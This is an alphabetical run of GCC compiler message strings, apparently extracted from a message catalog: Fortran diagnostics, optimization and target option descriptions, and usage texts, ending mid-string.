Number of memreg bytes (default: 16, range: 0..16)Number of registers used to pass integer argumentsNumeric PARAMETER required in complex constant at %CNumeric operands are required in expression at %LNumeric or CHARACTER operands are required in expression at %LOPEN statement not allowed in PURE procedure at %CORDER parameter of RESHAPE at %L is not the same size as SHAPE parameterORDER parameter of RESHAPE at %L is out of rangeObject '%s' at %L must have the SAVE attribute for default initialization of a componentObjective-C declarations may only appear in global scopeObsolescent: arithmetic IF statement at %COld-style type declaration %s*%d not supported at %COmit frame pointer for leaf functionsOmit range reduction step when performing complex divisionOmit the frame pointer in leaf functionsOnly intrinsic operators can be used in expression at %LOnly issue one instruction per cycleOnly use 32 FPRsOnly use 32 GPRsOpenMP directives at %C may not appear in PURE or ELEMENTAL proceduresOperand of .not. operator at %%L is %sOperand of unary numeric operator '%s' at %%L is %sOperand of user operator '%s' at %%L is %sOperands of binary numeric operator '%s' at %%L are %s/%sOperands of comparison operator '%s' at %%L are %s/%sOperands of logical operator '%s' at %%L are %s/%sOperands of string concatenation operator at %%L are %s/%sOperands of user operator '%s' at %%L are %s/%sOperator interface at %L conflicts with intrinsic interfaceOperator interface at %L has the wrong number of argumentsOperator interface at %L must have, at most, two argumentsOptimize for space rather than speedOptimize induction variables on treesOptimize lui/addiu address loadsOptimize sibling and tail recursive callsOptimize tail call instructions in assembler and linkerOptimize the output for PROCESSOROption -fwhole-program is not supported for FortranOptions:
Out of memoryOut of memory-- malloc() failedOut of stack space.
Output a class fileOutput instruction sizes to the asm fileOverlapping unequal initializers in EQUIVALENCE at %LOverride -mbest-lib-optionsP descriptor requires leading scale factorPAD parameter required for short SOURCE parameter at %LPARAMETER '%s' is used at %L before its definition is completePARAMETER at %L is missing an initializerPHI argument is missing for edge %d->%dPHI argument is not SSA_NAME, or invariantPIC code generation is not compatible with fast indirect callsPIC code generation is not supported in the portable runtime modelPIC is only supported for RTPsPIC is required but not supported with CONST16 instructionsPIC register %qs clobbered in %<asm%>PIC register isn't set upPOINTER object '%s' in %s clause at %LPOINTER valued function appears on right-hand side of assignment at %LPRINT namelist at %C is an extensionPRINT statement at %C not allowed within PURE procedurePRINT_OPERAND null pointerPRINT_OPERAND: Unknown punctuation '%c'PRINT_OPERAND_ADDRESS, null pointerPRIVATE statement at %C is only allowed in the specification part of a modulePRIVATE statement at %C must precede structure componentsPRIVATE statement in TYPE at %C must be inside a MODULEPROCEDURE at %C must be in a generic interfacePROCEDURE attribute conflicts with NAMELIST attribute in '%s' at %LPROTECTED at %C only allowed in specification part of a modulePUBLIC statement at %C is only allowed in the specification part of a modulePack VLIW instructionsPack structure members together without holesParameter '%s' at %L has not been declared or is a variable, which does not reduce to a constant expressionParameter '%s' to '%s' at %L must be BIND(C)Parameter '%s' to '%s' at %L must be a procedureParameter '%s' to '%s' at %L must be a scalarParameter '%s' to '%s' at %L must be either a TARGET or an associated pointerParameter array '%s' at %L cannot be automatic or of deferred shapePartitioned symbols should belong to exactly one partitionPass -assert pure-text to linkerPass FP arguments in FP registersPassing internal procedure at %L by location not allowedPay attention to the "inline" keywordPerform DWARF2 duplicate eliminationPerform Interprocedural constant propagationPerform SMS based modulo scheduling before the first scheduling passPerform SMS based modulo scheduling with register moves allowedPerform VR4130-specific alignment optimizationsPerform Value Range Propagation on treesPerform a forward propagation pass on RTLPerform a number of minor, expensive optimizationsPerform a register copy-propagation optimization passPerform a register renaming optimization passPerform branch target load optimization after prologue / epilogue threadingPerform branch target load optimization before prologue / epilogue threadingPerform conversion of conditional jumps to branchless equivalentsPerform conversion of conditional jumps to conditional executionPerform cross-jumping optimizationPerform early inliningPerform enhanced load motion during global common subexpression eliminationPerform global common subexpression eliminationPerform global common subexpression elimination after register allocationPerform interprocedural points-to analysisPerform jump threading optimizationsPerform live range splitting during the SSA->normal passPerform loop peelingPerform loop unrolling for all loopsPerform loop unrolling when iteration count is knownPerform loop unswitchingPerform matrix layout flattening and transposing basedPerform redundant load after store elimination in global common subexpressionPerform scalar replacement of aggregatesPerform sequence abstraction optimization on RTLPerform store motion after global common subexpression eliminationPerform structure layout optimizations basedPerform superblock formation via tail duplicationPerform unused type elimination in debug infoPerform variable trackingPerform variable tracking and also tag variables that are uninitializedPerform whole program optimizationsPeriod required in format specifier at %CPermit '$' as an identifier characterPermit nonconforming uses of the tab characterPermit scheduling of a function's prologue sequencePermit the use of the assert keywordPermit universal character names (\u and \U) in identifiersPlace data items into their own sectionPlace each function into its own sectionPlace floating point constants in TOCPlace output into <file>Place symbol+offset constants in TOCPlease submit a full bug report,
with preprocessed source if appropriate.
See %s for instructions.
Pointer array component of structure at %C must have a deferred shapePointer assignment target is neither TARGET nor POINTER at %LPointer assignment target is not a POINTER at %LPointer assignment to non-POINTER at %LPointer assignment with vector subscript on rhs at %LPointer initialization at %C requires '=>', not '='Pointer initialization requires a NULL() at %CPointer-array actual argument at %L requires an assumed-shape or pointer-array dummy argument '%s' due to VOLATILE attributePointers are 32-bitPointers are 64-bitPositive exponent width requiredPositive width requiredPossible frontend bug: Deferred array size without pointer, allocatable attribute or derived type without allocatable components.Prefer branches over conditional executionPrefer word accesses over byte accessesPrepend global symbols with ":" (for use with PREFIX)Prepend the name of the cpu to all public symbol namesPreprocess directives only.Pretend a branch-around-a-move is a conditional move.Pretend that branches are expensivePrevent the use of all floating-point operationsPrevent the use of all hardware floating-point instructionsPrint a checksum of the executable for PCH validity checking, and stopPrint code coverage information.

Print extra (possibly unwanted) warningsPrint the name of header files as they are usedProcedure '%s' at %C has an explicit interface and must not have attributes declared at %LProcedure '%s' at %C is already defined at %LProcedure '%s' at %L must have the BIND(C) attribute to be C interoperableProcedure '%s' called with an implicit interface at %LProcedure '%s' in %s at %L has no explicit interfaceProcedure '%s' in %s at %L is neither function nor subroutineProcedure argument at %L is INTENT(IN) while interface specifies INTENT(%s)Procedure argument at %L is local to a PURE procedure and has the POINTER attributeProcedure argument at %L is local to a PURE procedure and is passed to an INTENT(%s) argumentProcess #ident directivesProcessing spec %c%s%c, which is '%s'
Produce a backtrace when a runtime error is encounteredProduce big endian codeProduce code relocatable at runtimeProduce little endian codeProfiler support for CRXProgram is entirely located in low 64k of memoryProhibit PC relative function callsProvide libraries for the simulatorPut MODULE files in 'directory'Put data in SECTIONPut everything in the regular TOCPut functions in SECTIONPut global and static data smaller than <number> bytes into a special section (on some targets)Put jumps in call delay slotsPut read-only data in SECTIONPut uninitialized constants in ROM (needs -membedded-data)Put zero initialized data in the bss sectionRESULT variable at %C must be different than function nameRETURN_ADDRESS_OFFSET not supportedRTL check: access of elt %d of '%s' with last elt %d in %s, at %s:%dRTL check: access of elt %d of vector with last elt %d in %s, at %s:%dRTL check: attempt to treat non-block symbol as a block symbol in %s, at %s:%dRTL check: expected code '%s' or '%s', have '%s' in %s, at %s:%dRTL check: expected code '%s', have '%s' in %s, at %s:%dRTL check: expected elt %d type '%c' or '%c', have '%c' (rtx %s) in %s, at %s:%dRTL check: expected elt %d type '%c', have '%c' (rtx %s) in %s, at %s:%dRTL flag check: %s used with unexpected rtx code '%s' in %s, at %s:%dRTP PIC is incompatible with -msingle-pic-baseRTP PIC is incompatible with ThumbRange specification at %L can never be matchedRank mismatch in argument '%s' at %L (%d and %d)Rank mismatch in array reference at %L (%d/%d)Ratio between virtual mappings and virtual symbols to do full virtual renamesReading file '%s' as free formReading module %s at line %d column %d: %sReading specs from %s
Real constant overflows its kind at %CReal constant underflows its kind at %CReal number at %C has a 'd' exponent and an explicit kindRealign stack in prologueRecognize GNU-defined keywordsRecognize built-in functionsRecognize the "asm" keywordRecord gcc command line switches in the object file.Reduce the amount of reflection meta-data generatedReduce the size of object filesRelax branchesRemap file names when including filesRemove redundant membarsReorder basic blocks and partition into hot and cold sectionsReorder basic blocks to improve code placementReorder functions to improve code placementReorder top level functions, variables, and asmsRepeat count cannot follow P descriptorReplace SSA temporaries with better names in copiesReplace add, compare, branch with branch on count registerReplace system pathReplace temporary expressions in the SSA->normal passReport on memory allocation before interprocedural optimizationReport on permanent memory allocationReport the time taken by each compiler passRequest IEEE-conformant math library routines (OSF/1)Reschedule instructions after register allocationReschedule instructions before register allocationReserve space for outgoing arguments in the function prologueRestrict doloop to the given nesting levelRestrict target load migration not to re-use registers in any basic blockRestrict the use of hardware floating-point instructions to 32-bit operationsResult '%s' of contained function '%s' at %L has no IMPLICIT typeResult of %s gives range error for its kind at %LResult of %s is NaN at %LResult of %s overflows its kind at %LResult of %s underflows its kind at %LResult of NEAREST is NaN at %LResult of SCALE overflows its kind at %LReturn all structures in memory (AIX default)Return floating-point results in ac0 (fr0 in Unix assembler syntax)Return pointers in both a0 and d0Return small aggregates in memory, not registersReturn small aggregates in registersReturn small structures in registers (SVR4 default)Return type of BIND(C) function '%s' at %L cannot be a character stringReturn type of BIND(C) function '%s' at %L cannot be an arrayReturn values of functions in FPU registersReuse r30 on a per function basisRightmost upper bound of assumed size array section not specified at %LRun predictive commoning optimization.Runtime name.SAVE attribute at %L cannot be specified in a PURE procedureSAVE statement at %C follows blanket SAVE statementSCHEDULE clause's chunk_size at %L requires a scalar INTEGER expressionSEQUENCE attribute at %C already specified in TYPE statementSEQUENCE statement at %C must precede structure componentsSH2a does not support little-endianSHAPE parameter for call to %s at %L must be a rank 1 INTEGER arraySSA corruptionSSA name in freelist but still referencedSSA_NAME created in two different blocks %i and %iSSA_NAME_DEF_STMT is wrongSSA_NAME_OCCURS_IN_ABNORMAL_PHI should be setSSE instruction set disabled, using 387 arithmeticsSSE register argument with SSE disabledSSE register return with SSE disabledSSE vector argument without SSE enabled changes the ABISSE vector return without SSE enabled changes the ABISTAT tag in %s statement at %L must be of type INTEGERSTAT variable '%s' of %s statement at %C cannot be INTENT(IN)SUBROUTINE at %C does not belong in a generic function interfaceSame actual argument associated with INTENT(%s) argument '%s' and INTENT(%s) argument '%s' at %LSame as -fassociative-math for expressions which include division.Same as: -mep -mprolog-functionSave registers around function callsScalar '%s' in FORMAT tag at %L is not an ASSIGNED variableScalar PARAMETER required in complex constant at %CScalar object '%s' at %L may not be ALLOCATABLESchedule code for given CPUSchedule given CPUSchedule the start and end of the procedureScope of for-init-statement variables is local to the loopSecond argument MOD at %L is zeroSecond argument of IBCLR exceeds bit size at %LSecond argument of IBSET exceeds bit size at %LSecond argument of MOD at %L is zeroSecond argument of MODULO at %L is zeroSecond argument of NEAREST at %L shall not be zeroSecond argument of defined assignment at %L must be INTENT(IN)Second argument of operator interface at %L cannot be optionalSecond argument of operator interface at %L must be INTENT(IN)Segmentation FaultSegmentation Fault (code)Select ABI calling conventionSelect GPR floating point methodSelect fraction of the maximal count of repetitions of basic block in program given basic block needs to have to be considered hotSelect fraction of the maximal frequency of executions of basic block in function given basic block get alignmentSelect fraction of the maximal frequency of executions of basic block in function given basic block needs to have to be considered hotSelect full, part, or no traceback tableSelect method for sdata handlingSelect the target MCUSelection expression in computed GOTO statement at %L must be a scalar integer expressionSemicolon at %C needs to be preceded by statementSet 80387 floating-point precision (-mpc32, -mpc64, -mpc80)Set <dir> to be the system root directorySet Windows definesSet class pathSet default accessibility of module entities to PRIVATE.Set dependence distance checking in premature scheduling of queued insnsSet errno after built-in math functionsSet initial maximum structure member alignmentSet number of queued insns that can be prematurely scheduledSet optimization level to <number>Set parameter <param> to value.  See below for a complete list of parametersSet sizeof(bool) to 1Set start-address of dataSet start-address of the programSet the PPC_EMB bit in the ELF flags headerSet the cost of branchesSet the cost of branches to roughly COST instructionsSet the default double precision kind to an 8 byte wide typeSet the default integer kind to an 8 byte wide typeSet the default real kind to an 8 byte wide typeSet the default symbol visibilitySet the default thread-local storage code generation modelSet the extension directory pathSet the file basename to be used for dumpsSet the max size of data eligible for the SDA areaSet the max size of data eligible for the TDA areaSet the max size of data eligible for the ZDA areaSet the max. number of bytes which has to be left to stack size before a trap instruction is triggeredSet the maximum amount for a single stack increment operationSet the source language versionSet the target CPU typeSet the target VM versionSet the verbosity level of the schedulerSet the verbosity level of the vectorizerSetting spec %s to '%s'

Shape specification at %L cannot be negativeShape specification at %L cannot be the null arrayShapes for operands at %L and %L are not conformableShorten address references during linkingShow column numbers in diagnostics, when available.  Default offSize in bytes of the largest array that will be put on the stackSmall data area: none, sdata, useSpecification function '%s' at %L cannot be RECURSIVESpecification function '%s' at %L cannot be a statement functionSpecification function '%s' at %L cannot be an internal functionSpecification function '%s' at %L must be PURESpecify <path> as a prefix for next two optionsSpecify ABI to useSpecify CPU for code generation purposesSpecify CPU for scheduling purposesSpecify CPU for scheduling purposes.  Valid arguments are 700, 7100, 7100LC, 7200, 7300, and 8000Specify UNIX standard for predefines and linkingSpecify alignment of structure fields default/naturalSpecify an ABISpecify bit size of immediate TLS offsetsSpecify cache flush functionSpecify cache flush trap numberSpecify cost of branches (Default 20)Specify how to access the thread pointerSpecify if floating point hardware should be usedSpecify main object for TPF-OSSpecify maximum template instantiation depthSpecify name for 32 bit signed division functionSpecify options to GNATSpecify range of registers to make fixedSpecify scheduling priority for dispatch slot restricted insnsSpecify size of long double (64 or 128 bits)Specify that an external BLAS library should be used for matmul calls on large-size arraysSpecify that arguments may alias each other and globalsSpecify that backslash in string introduces an escape characterSpecify that no implicit typing is allowed, unless overridden by explicit IMPLICIT statementsSpecify the default character set for source filesSpecify the minimum bit alignment of structuresSpecify the name of the target CPUSpecify the name of the target architectureSpecify the name of the target floating point hardware/formatSpecify the register allocation orderSpecify the register to be used for PIC addressingSpecify the target CPUSpecify when instructions are allowed to access codeSpecify where to find the compiled intrinsic modulesSpecify which post scheduling nop insertion scheme to applySplit lifetimes of induction variables when loops are unrolledSplit wide types into independent registersStatement at %L is not a valid branch target statement for the branch statement at %LStatement function '%s' at %L is not allowed as an actual argumentStatement function '%s' requires argument list at %CStatement function at %L is recursiveStatement label at %C is zeroStatement label in ENDDO at %C doesn't match DO labelStatement label list in GOTO at %C cannot be emptyStatic linking is not supported.
Statically link the GNU Fortran helper library (libgfortran)Step expression in DO loop at %L cannot be zeroStop forward growth if the probability of best edge is less than this threshold (in percent). Used when profile feedback is availableStop forward growth if the probability of best edge is less than this threshold (in percent). Used when profile feedback is not availableStop on following floating point exceptionsStop reverse growth if the reverse probability of best edge is less than this threshold (in percent)Store function names in object codeStructure component '%s' at %L cannot be an EQUIVALENCE objectSubroutine '%s' at %L is INTRINSIC but is not compatible with an intrinsicSubroutine '%s' called instead of assignment at %L must be PURESubroutine call to '%s' at %L is not PURESubroutine call to '%s' in FORALL block at %L is not PURESubroutine call to intrinsic '%s' at %L is not PURESubstring at %L has length zeroSubstring end index at %L exceeds the string lengthSubstring end index at %L must be of type INTEGERSubstring end index at %L must be scalarSubstring start index at %L is less than oneSubstring start index at %L must be of type INTEGERSubstring start index at %L must be scalarSum of second and third arguments of IBITS exceeds bit size at %LSupport 3DNow! built-in functionsSupport Athlon 3Dnow! built-in functionsSupport Green Hills ABISupport ISO C trigraphsSupport MMX and SSE built-in functions and code generationSupport MMX built-in functionsSupport MMX, SSE and SSE2 built-in functions and code generationSupport MMX, SSE, SSE2 and SSE3 built-in functions and code generationSupport MMX, SSE, SSE2, SSE3 and SSE4A built-in functions and code generationSupport MMX, SSE, SSE2, SSE3 and SSSE3 built-in functions and code generationSupport MMX, SSE, SSE2, SSE3, SSSE3 and SSE4.1 built-in functions and code generationSupport MMX, SSE, SSE2, SSE3, SSSE3, SSE4.1 and SSE4.2 built-in functions and code generationSupport SCORE 3 ISASupport SCORE 3d ISASupport SCORE 5 ISASupport SCORE 5U ISASupport SCORE 7 ISASupport SCORE 7D ISASupport SSE5 built-in functions and code generationSupport calls between Thumb and ARM instruction setsSupport code generation of Advanced Bit Manipulation (ABM) instructions.Support code generation of cmpxchg16b instruction.Support code generation of popcnt instruction.Support code generation of sahf instruction in 64bit x86-64 code.Support legacy multi-threadingSupport message passing with the Parallel EnvironmentSupport multi-threadingSupport multiply accumulate instructionsSupport synchronous non-call exceptionsSuppress output of addresses in debugging dumpsSuppress output of instruction numbers, line number notes and addresses in debugging dumpsSuppress warningsSwap endianness for unformatted filesSwitch on/off MIPS16 ASE on alternating functions for compiler testingSymbol '%s' already declaredSymbol '%s' at %C has already been host associatedSymbol '%s' at %C is already an external symbol that is not COMMONSymbol '%s' at %C is already in a COMMON blockSymbol '%s' at %C is ambiguousSymbol '%s' at %C must be a NAMELIST group nameSymbol '%s' at %L already has an explicit interfaceSymbol '%s' at %L cannot have a typeSymbol '%s' at %L has no IMPLICIT typeSymbol '%s' at %L is ambiguousSymbol '%s' at %L is marked PRIVATE but has been given the binding label '%s'Symbol '%s' in COMMON at %C cannot be a POINTER arraySymbol '%s' in namelist '%s' is INTENT(IN) at %CSymbol '%s' must be a PARAMETER in DATA statement at %CSymbol '%s' present on multiple clauses at %LSymbol '%s' referenced at %L does not exist in intrinsic module ISO_C_BINDING.Symbol '%s' referenced at %L does not exist in intrinsic module ISO_FORTRAN_ENVSymbol '%s' referenced at %L not found in intrinsic module ISO_C_BINDINGSymbol '%s' referenced at %L not found in intrinsic module ISO_FORTRAN_ENVSymbol '%s' referenced at %L not found in module '%s'Symbol '%s', in COMMON block '%s' at %C is being indirectly equivalenced to another COMMON block '%s'Symbol at %C is not appropriate for an expressionSymbol at %L is not a DUMMY variableSynonym for -WcommentSyntax error in !$OMP THREADPRIVATE list at %CSyntax error in %s statement at %CSyntax error in ABSTRACT INTERFACE statement at %CSyntax error in CASE-specification at %CSyntax error in CHARACTER declaration at %CSyntax error in COMPLEX constant at %CSyntax error in ENUMERATOR definition at %CSyntax error in EQUIVALENCE statement at %LSyntax error in FORALL iterator at %CSyntax error in I/O iterator at %CSyntax error in IF-clause at %CSyntax error in IF-expression at %CSyntax error in IMPORT statement at %CSyntax error in NAME= specifier for binding label at %CSyntax error in OpenMP variable list at %CSyntax error in PROCEDURE statement at %CSyntax error in PROTECTED statement at %CSyntax error in SAVE statement at %CSyntax error in SUBSTRING specification at %CSyntax error in VALUE statement at %CSyntax error in VOLATILE statement at %CSyntax error in argument list at %CSyntax error in array constructor at %CSyntax error in character length specification at %CSyntax error in common block name at %CSyntax error in data declaration at %CSyntax error in expression at %CSyntax error in generic specification at %CSyntax error in iterator at %CSyntax error in structure constructor at %CSyntax error: Trailing garbage in END INTERFACE statement at %CSyntax error: Trailing garbage in INTERFACE statement at %CTHREADPRIVATE object '%s' in %s clause at %LTHREADPRIVATE object '%s' in SHARED clause at %LTaken at least once:%s of %d
Target DFLOAT double precision codeTarget has split I&DTarget the AM33 processorTarget the AM33/2.0 processorTarget: %s
The --param option recognizes the following as parametersThe C parser does not support -dy, option ignoredThe C++ parser does not support -dy, option ignoredThe CHARACTER elements of the array constructor at %L must have the same length (%d/%d)The DEFAULT CASE at %L cannot be followed by a second DEFAULT CASE at %LThe H format specifier at %C is a Fortran 95 deleted featureThe Hollerith constant at %L is too long to convert to %sThe INTENT(OUT) dummy argument '%s' at %L is ASSUMED SIZE and so cannot have a default initializerThe Objective-C parser does not support -dy, option ignoredThe Objective-C++ parser does not support -dy, option ignoredThe STAT variable '%s' in an ALLOCATE statement must not be allocated in the same statement at %LThe argument list functions %%VAL, %%LOC or %%REF are not allowed in this context at %LThe average number of virtual operators that memory statements are allowed to have before triggering memory partitioning heuristicsThe derived type '%s' at %L is of type '%s', which has not been definedThe earliest MacOS X version on which this program will runThe element in the derived type constructor at %L, for pointer component '%s' should be a POINTER or a TARGETThe element in the derived type constructor at %L, for pointer component '%s', is %s but should be %sThe equivalence set for '%s' cause an invalid extension to COMMON '%s' at %LThe equivalence set for variable '%s' declared at %L violates alignment requirementsThe following options are language-independentThe following options are language-relatedThe following options are not documentedThe following options are supported by the language The following options are target specificThe following options control compiler warning messagesThe following options control optimizationsThe impure variable at %L is assigned to a derived type variable with a POINTER component in a PURE procedure (12.6)The lower bound for a buffer to be considered for stack smashing protectionThe maximum amount of memory to be allocated by GCSEThe maximum conflict delay for an insn to be considered for speculative motionThe maximum depth of recursive inlining for inline functionsThe maximum depth of recursive inlining for non-inline functionsThe maximum expansion factor when copying basic blocksThe maximum instructions CSE process before flushingThe maximum length of path considered in cseThe maximum length of scheduling's pending operations listThe maximum memory locations recorded by cselibThe maximum number of RTL nodes that can be recorded as combiner's last valueThe maximum number of blocks in a region to be considered for interblock schedulingThe maximum number of incoming edges to consider for crossjumpingThe maximum number of insns in a region to be considered for interblock schedulingThe maximum number of insns of a completely peeled loopThe maximum number of insns of a peeled loopThe maximum number of insns of a peeled loop that rolls only onceThe maximum number of insns of an unswitched loopThe maximum number of insns to duplicate when unfactoring computed gotosThe maximum number of instructions in a single function eligible for inliningThe maximum number of instructions inline function can grow to via recursive inliningThe maximum number of instructions non-inline function can grow to via recursive inliningThe maximum number of instructions ready to be issued to be considered by the scheduler during the first scheduling passThe maximum number of instructions to consider to fill a delay slotThe maximum number of instructions to consider to find accurate live register informationThe maximum number of instructions to consider to unroll in a loopThe maximum number of instructions to consider to unroll in a loop on averageThe maximum number of instructions to search backward when looking for equivalent reloadThe maximum number of instructions when automatically inliningThe maximum number of iterations through CFG to extend regionsThe maximum number of loop iterations we predict staticallyThe maximum number of passes to make when doing GCSEThe maximum number of peelings of a single loopThe maximum number of peelings of a single loop that is peeled completelyThe maximum number of structure fields for which GCC will use by-element copiesThe maximum number of unrollings of a single loopThe maximum number of unswitchings in a single loopThe maximum number of virtual operators that a function is allowed to have before triggering memory partitioning heuristicsThe maximum structure size (in bytes) for which GCC will use by-element copiesThe minimal probability of speculation success (in percents), so that speculative insn will be scheduled.The minimum cost of an expensive expression in the loop invariant motionThe minimum number of matching instructions to consider for crossjumpingThe minimum probability of reaching a source block for interblock speculative schedulingThe module or main program array '%s' at %L must have constant shapeThe name '%s' at %C has already been used as an external module name.The name '%s' cannot be used as a defined operator at %CThe number of cycles the swing modulo scheduler considers when checking conflicts using DFAThe number of insns executed before prefetch is completedThe number of prefetches that can run at the same timeThe percentage of function, weighted by execution frequency, that must be covered by trace formation. Used when profile feedback is availableThe percentage of function, weighted by execution frequency, that must be covered by trace formation. Used when profile feedback is not availableThe pointer component '%s' of '%s' at %L is a type that has not been declaredThe rank of the element in the derived type constructor at %L does not match that of the component (%d/%d)The size of L1 cacheThe size of L1 cache lineThe size of L2 cacheThe size of function body to be considered largeThe size of stack frame to be considered largeThe size of translation unit to be considered largeThe threshold ratio between current and hottest structure countsThe threshold ratio between instantiated fields and the total structure sizeThe threshold ratio for performing partial redundancy elimination after reloadThe threshold ratio of critical edges execution count that permit performing redundancy elimination after reloadThe type '%s' cannot be host associated at %L because it is blocked by an incompatible object of the same name declared at %LThe type for function '%s' at %L is not accessibleThe upper bound for sharing integer constantsThe upper bound in the last dimension must appear in the reference to the assumed size array '%s' at %LThe value of n in -finit-character=n must be between 0 and 127There is no specific function for the generic '%s' at %LThere is no specific subroutine for the generic '%s' at %LThis is free software; see the source for copying conditions.
There is NO warranty; not even for MERCHANTABILITY or 
FITNESS FOR A PARTICULAR PURPOSE.

This is free software; see the source for copying conditions.  There is NO
warranty; not even for MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE.

This switch is deprecated; use -Werror=implicit-function-declaration insteadThis switch is deprecated; use -Wextra insteadThis switch lacks documentationThread model: %s
Threadprivate at %L isn't SAVEdThreadprivate variable at %C is an element of a COMMON blockThrottle unrolling to avoid thrashing target registers unless the unroll benefit outweighs thisThumb-2 iWMMXtThumb: Assume function pointers may go to non-Thumb aware codeThumb: Assume non-static functions may be called from ARM codeThumb: Generate (leaf) stack frames even if not neededThumb: Generate (non-leaf) stack frames even if not neededTogether with -fpic and -fPIC, do not use GOTPLT referencesToo many arguments in call to '%s' at %LToo many arguments to %s at %LToo many digits in STOP code at %CToo many digits in statement label at %CToo many dimensions in shape specification for RESHAPE at %LToo many loop exits recordedTrampoline support for CRXTransform condition stores into unconditional onesTrap for signed overflow in addition, subtraction and multiplicationTrap if the stack goes past <register>Trap if the stack goes past symbol <name>Trap on integer divide by zeroTreat all warnings as errorsTreat lines with 'D' in column one as commentsTreat missing header files as generated filesTreat signed overflow as undefinedTreat specified warning as errorTreat the input file as already preprocessedTry 'jcf-dump --help' for more information.
Try running '%s' in the shell to raise its limit.
Try to lay out derived types as compactly as possibleTune alignment for the specified chip or CPU versionTune code for the given processorTune expected memory latencyTune for the specified target CPU or architectureTwo main PROGRAMs at %L and %CTwo or more part references with nonzero rank must not be specified at %LType '%s' at %L is a parameter to the BIND(C)  procedure '%s' but is not C interoperable because derived type '%s' is not C interoperableType based escape and alias analysisType declaration '%s' at %L is not C interoperable but it is BIND(C)Type mismatch in argument '%s' at %L; passed %s to %sType name '%s' at %C cannot be the same as an intrinsic typeType name '%s' at %C is ambiguousType of argument '%s' in call to '%s' at %L should be %s, not %sType specified for intrinsic function '%s' at %L is ignoredType/rank mismatch in argument '%s' at %LUNIT specification at %L must be an INTEGER expression or a CHARACTER variableUNKNOWN in print_operand !?Unable to find a specific INTRINSIC procedure for the reference '%s' at %LUnable to resolve the specific function '%s' at %LUnable to resolve the specific subroutine '%s' at %LUnclassifiable OpenMP directive at %CUnclassifiable statement at %CUnclassifiable statement in IF-clause at %CUndefine <macro>Unexpected %s statement at %CUnexpected %s statement at %C in INTERFACE bodyUnexpected %s statement in BLOCK DATA at %CUnexpected %s statement in CONTAINS section at %CUnexpected %s statement in FORALL block at %CUnexpected %s statement in INTERFACE block at %CUnexpected %s statement in MODULE at %CUnexpected %s statement in WHERE block at %CUnexpected CASE statement at %CUnexpected END statement at %CUnexpected EOFUnexpected alternate return spec in subroutine call at %LUnexpected character in variable list at %CUnexpected characters in PARAMETER statement at %CUnexpected end of file in '%s'Unexpected end of format stringUnexpected end of moduleUnexpected end of module in string constantUnexpected junk after ELSE IF statement at %CUnexpected junk after ELSE statement at %CUnexpected junk after function declaration at %CUnexpected junk in formal argument list at %CUnexpected type in truthvalue_conversionUnexpected use of subroutine name '%s' at %CUnidentifiable call opUnknown architecture '%s'Unknown argument list function at %LUnknown destUnknown intrinsic opUnknown operator '%s' at %%LUnknown srcUnknown switch -mlong-double-%sUnknown value %qs of -mmacosx-version-minUnrecognized option to -finit-logical: %sUnrecognized option to -finit-real: %sUnsupported statement inside WHERE at %LUnterminated character constant beginning at %CUnused dummy argument '%s' at %LUnused parameter '%s' declared at %LUnused variable '%s' declared at %LUpper array reference at %L is out of bounds (%ld < %ld) in dimension %dUpper array reference at %L is out of bounds (%ld > %ld) in dimension %dUsage: %s [OPTIONS]... CLASSNAMEmain [OUTFILE]
Usage: %s [options] file...
Usage: gcov [OPTION]... SOURCEFILE...

Usage: jcf-dump [OPTION]... CLASS...

Use "-Wa,OPTION" to pass "OPTION" to the assembler.

Use "-Wl,OPTION" to pass "OPTION" to the linker.

Use -G for data that is not defined by the current objectUse -G for object-local dataUse 128-bit long doubleUse 16 bit intUse 16-bit abs patternsUse 32 bit floatUse 32 bit intUse 32-bit ABIUse 32-bit floating-point registersUse 32-bit general registersUse 4 byte entries in switch tablesUse 4 media accumulatorsUse 4xx half-word multiply instructionsUse 4xx string-search dlmzb instructionUse 64 FPRsUse 64 GPRsUse 64 bit floatUse 64-bit ABIUse 64-bit floating-point registersUse 64-bit general registersUse 64-bit long doubleUse 8 media accumulatorsUse ABI reserved registersUse AltiVec instructionsUse Branch Likely instructions, overriding the architecture defaultUse CONST16 instruction to load constantsUse EABIUse FUNC to flush the cache before calling stack trampolinesUse GNU libc instead of uClibcUse GP relative sdata/sbss sectionsUse GP-relative addressing to access small dataUse H8/300 alignment rulesUse IEEE math for fp comparisonsUse MIPS-3D instructionsUse MIPS-DSP REV 2 instructionsUse MIPS-DSP instructionsUse Mingw-specific thread supportUse Neon quad-word (rather than double-word) registers for vectorizationUse NewABI-style %reloc() assembly operatorsUse P-mnemonics for branches statically predicted as takenUse PMC-style 'mad' instructionsUse POWER instruction setUse POWER2 instruction setUse PowerPC General Purpose group optional instructionsUse PowerPC Graphics group optional instructionsUse PowerPC V2.01 single field mfcr instructionUse PowerPC V2.02 floating point rounding instructionsUse PowerPC V2.02 popcntb instructionUse PowerPC V2.05 compare bytes instructionUse PowerPC instruction setUse PowerPC-64 instruction setUse ROM instead of RAMUse SSE register passing conventions for SF and DF modeUse SmartMIPS instructionsUse UNIX assembler syntaxUse UltraSPARC Visual Instruction Set extensionsUse VAX fpUse VAXC structure conventionsUse __cxa_atexit to register destructorsUse __cxa_get_exception_ptr in exception handlingUse a 32-bit long typeUse a 4-byte record marker for unformatted filesUse a 64-bit long typeUse a stack protection method for every functionUse addresses that allocate global registersUse alternate register namesUse an 8-bit 'int' typeUse an 8-byte record marker for unformatted filesUse arbitrary sized immediates in bit operationsUse big-endian byte orderUse big-endian format for unformatted filesUse branch-and-break sequences to check for integer divide by zeroUse bras for executable < 64kUse call and rtc for function calls and returnsUse call-clobbered registers for parameters and return valueUse class <name> for constant stringsUse control speculationUse data speculation after reloadUse data speculation before reloadUse decimal floating point instructionsUse different calling convention using 'rtd'Use direct addressing mode for soft registersUse direct references against %gs when accessing tls dataUse epsilon-respecting floating point compare instructionsUse expression value profiles in optimizationsUse extended PowerPC V2.05 move floating point to/from GPR instructionsUse f2c calling conventionUse features of and schedule code for given CPUUse features of and schedule given CPUUse fp double instructionsUse fp registersUse given SPARC-V9 code modelUse given assembler dialectUse given thread-local storage dialectUse given x86-64 code modelUse hardware FPUse hardware division instructions on ColdFireUse hardware floating pointUse hardware fpUse hardware quad FP instructionsUse in block control speculationUse in block data speculation after reloadUse in block data speculation before reloadUse in/loc/out register namesUse indirect CALLXn instructions for large programsUse indirect callsUse inline patterns for copying memoryUse jsr and rts for function calls and returnsUse jump tables for sufficiently large switch statementsUse little-endian byte orderUse little-endian format for unformatted filesUse ll, sc and sync instructionsUse media instructionsUse multiply add/subtract instructionsUse n as character line width in 